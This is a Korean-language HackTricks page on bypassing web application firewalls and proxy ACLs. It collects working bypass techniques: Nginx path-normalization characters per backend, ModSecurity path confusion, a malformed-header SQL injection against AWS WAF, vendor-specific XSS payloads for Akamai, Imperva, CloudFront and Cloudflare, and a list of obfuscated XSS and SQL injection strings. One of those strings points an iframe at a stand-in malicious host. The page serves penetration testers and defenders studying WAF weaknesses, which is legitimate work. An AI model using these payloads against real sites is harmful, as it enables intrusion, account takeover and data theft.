Proxy / WAF 보호 우회
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Nginx ACL 규칙을 Pathname Manipulation으로 우회
Nginx 규칙 예시:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
우회를 방지하기 위해 Nginx는 확인하기 전에 경로 정규화를 수행합니다. 그러나 백엔드 서버가 다른 정규화(nginx가 제거하지 않는 문자를 제거)를 수행하면 이 방어를 우회할 수 있습니다.
NodeJS - Express
| Nginx 버전 | Node.js 우회 문자 |
|---|---|
| 1.22.0 | \xA0 |
| 1.21.6 | \xA0 |
| 1.20.2 | \xA0, \x09, \x0C |
| 1.18.0 | \xA0, \x09, \x0C |
| 1.16.1 | \xA0, \x09, \x0C |
Flask
| Nginx 버전 | Flask 우회 문자 |
|---|---|
| 1.22.0 | \x85, \xA0 |
| 1.21.6 | \x85, \xA0 |
| 1.20.2 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
| 1.18.0 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
| 1.16.1 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
Spring Boot
| Nginx 버전 | Spring Boot 우회 문자 |
|---|---|
| 1.22.0 | ; |
| 1.21.6 | ; |
| 1.20.2 | \x09, ; |
| 1.18.0 | \x09, ; |
| 1.16.1 | \x09, ; |
PHP-FPM
Nginx FPM 구성:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx는 /admin.php에 대한 접근을 차단하도록 구성되어 있지만 /admin.php/index.php에 접근하면 이를 bypass할 수 있습니다.
방지 방법
location ~* ^/admin {
deny all;
}
Bypass Mod Security Rules
Path Confusion
In this post 에서는 ModSecurity v3 (3.0.12 이전)이 접근된 경로(파라미터 시작 전까지)를 포함해야 하는 REQUEST_FILENAME 변수를 부적절하게 구현했다고 설명합니다. 이는 경로를 얻기 위해 URL decode를 수행했기 때문입니다.
따라서 http://example.com/foo%3f';alert(1);foo= 같은 요청은 ModSecurity에서는 %3f가 ?로 변환되어 경로를 단순히 /foo로 간주하지만, 실제 서버가 받는 경로는 /foo%3f';alert(1);foo= 입니다.
변수 REQUEST_BASENAME와 PATH_INFO도 이 버그의 영향을 받았습니다.
비슷한 현상이 Mod Security 버전 2에서도 발생했는데, 백업 파일 관련 특정 확장자(예: .bak)에 대한 접근을 차단하는 보호를 점(.)을 %2e로 URL 인코딩하여 전송함으로써 우회할 수 있었습니다. 예: https://example.com/backup%2ebak
Bypass AWS WAF ACL
Malformed Header
This research 에서는 AWS에서 제대로 파싱하지 못하지만 백엔드 서버에서는 파싱되는 “malformed” 헤더를 전송함으로써 HTTP 헤더에 적용된 AWS WAF 규칙을 우회할 수 있었다고 언급합니다.
예를 들어, header X-Query에 SQL injection을 포함시켜 다음 요청을 전송하면:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
It was possible to bypass AWS WAF because it wouldn’t understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
일반적인 WAF 우회 방법
Request Size Limits
Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won’t check the request.
- For AWS WAF, you can check the documentation:
| Application Load Balancer와 AWS AppSync 보호에 대해 검사할 수 있는 웹 요청 본문의 최대 크기 | 8 KB |
| CloudFront, API Gateway, Amazon Cognito, App Runner, 및 Verified Access 보호에 대해 검사할 수 있는 웹 요청 본문의 최대 크기** | 64 KB |
- From Azure docs:
Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than 128 KB by turning off request body inspection, but these messages won’t be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:
If prevention mode: 요청을 기록하고 차단합니다.
If detection mode: 한도까지 검사하고 나머지는 무시하며, Content-Length가 한도를 초과하면 로그를 남깁니다.
- From Akamai:
기본적으로 WAF는 요청의 처음 8KB만 검사합니다. Advanced Metadata를 추가하면 한도를 최대 128KB까지 늘릴 수 있습니다.
- From Cloudflare:
Up to 128KB.
Static assets inspection gaps (.js GETs)
Some CDN/WAF stacks apply weak or no content inspection to GET requests for static assets (for example paths ending with .js), while still applying global rules like rate limiting and IP reputation. Combined with auto-caching of static extensions, this can be abused to deliver or seed malicious variants that affect subsequent HTML responses.
Practical use cases:
- Send payloads in untrusted headers (e.g.,
User-Agent) on a GET to a.jspath to avoid content inspection, then immediately request the main HTML to influence the cached variant. - Use a fresh/clean IP; once an IP is flagged, routing changes can make the technique unreliable.
- In Burp Repeater, use “Send group in parallel” (single-packet style) to race the two requests (
.jsthen HTML) through the same front-end path.
This pairs well with header-reflection cache poisoning. See:
Cache Poisoning and Cache Deception
Obfuscation
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
유니코드 호환성
구현된 Unicode 정규화 방식에 따라 (자세한 내용은 here), 유니코드 호환 문자를 공유하는 문자가 WAF를 우회하여 의도한 payload로 실행될 수 있습니다. 호환 문자는 here에서 찾을 수 있습니다.
예제
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
인코딩을 사용해 문맥 기반 WAFs 우회
앞서 this blog post에서 언급한 것처럼, 사용자 입력의 문맥을 유지할 수 있는 WAF를 우회하기 위해 WAF가 사용자의 입력을 정상화(normalize)하도록 악용할 수 있습니다.
예를 들어, 포스트에는 Akamai가 사용자 입력을 10번 URL decode했다고 언급되어 있습니다. 따라서 <input/%2525252525252525253e/onfocus 같은 입력은 Akamai에서는 <input/>/onfocus로 보일 수 있고, WAF는 태그가 닫혔다고 판단할 수 있습니다. 그러나 애플리케이션이 입력을 10번 URL decode하지 않는 한, 피해자는 <input/%25252525252525253e/onfocus 같은 것을 보게 되며 이는 XSS 공격에 여전히 유효합니다.
따라서 이는 WAF가 디코딩하고 해석하는 반면 피해자는 보지 못하는 인코딩된 구성요소에 페이로드를 숨길 수 있게 해줍니다.
또한 이 방법은 URL encoded 페이로드 뿐만 아니라 unicode, hex, octal 등 다른 인코딩으로도 적용될 수 있습니다.
포스트에서 제안된 최종 우회 예시는 다음과 같습니다:
- Akamai:
akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)> - Imperva:
imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999"> - AWS/Cloudfront:
docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)> - Cloudflare:
cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">
또한 일부 WAF가 사용자 입력의 문맥을 어떻게 이해하느냐에 따라 이를 악용할 수 있다는 점이 언급되어 있습니다. 블로그에 제시된 예는 Akamai가 /*와 */ 사이에 무엇이든 허용(아마도 주석으로 흔히 사용되기 때문)했기 때문에 /*'or sleep(5)-- -*/ 같은 SQLinjection이 발견되지 않고 /*가 인젝션의 시작 문자열로, */가 주석 처리되어 유효하다는 것입니다.
이러한 문맥 문제는 WAF가 예상한 취약점 이외의 다른 취약점을 악용하는 데에도 사용될 수 있습니다(예: XSS를 악용).
Inline JavaScript first-statement inspection gaps
일부 inline-inspection 규칙셋은 이벤트 핸들러 내부의 첫 번째 JavaScript 문장만 파싱합니다. 무해해 보이는 괄호 표현식 뒤에 세미콜론을 붙여(prefixing) (예: onfocus="(history.length);payload"), 세미콜론 뒤에 위치한 악의적 코드는 검사를 우회하면서 브라우저는 여전히 실행합니다. 이를 fragment로 인한 포커스(예: 대상 요소가 로드 시 포커스되도록 #forgot_btn 추가)와 결합하면 클릭 없는 XSS가 가능하며 즉시 $.getScript를 호출하고 키로거 같은 피싱 툴을 부팅스트랩할 수 있습니다. 이와 관련한 사례는 attribute-only login XSS case study에서 확인할 수 있으며, 이는 this research에서 파생된 내용입니다.
H2C Smuggling
IP Rotation
- https://github.com/ustayready/fireprox: Generate an API gateway URL to by used with ffuf
- https://github.com/rootcathacking/catspin: Similar to fireprox
- https://github.com/PortSwigger/ip-rotate: Burp Suite plugin that uses API gateway IPs
- https://github.com/fyoorer/ShadowClone: 입력 파일 크기와 split factor에 따라 동적으로 결정된 수의 container instances가 활성화되며, 입력은 병렬 실행을 위해 청크로 분할됩니다. 예를 들어 10,000 라인 입력 파일에서 split factor가 100 라인일 때 100개의 인스턴스가 활성화되어 100개의 청크를 병렬 처리합니다.
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
Regex Bypasses
정규식 필터를 우회하기 위해 다양한 기법이 사용될 수 있습니다. 예로는 대소문자 교차 사용(alternating case), 줄바꿈 추가, 페이로드 인코딩 등이 있습니다. 여러 우회 기법에 대한 자료는 PayloadsAllTheThings와 OWASP에서 확인할 수 있습니다. 아래 예시들은 this article에서 발췌했습니다.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
도구
- nowafpls: 요청에 불필요한 데이터를 추가하여 길이 기반으로 WAFs를 우회하는 Burp plugin
참고자료
- https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


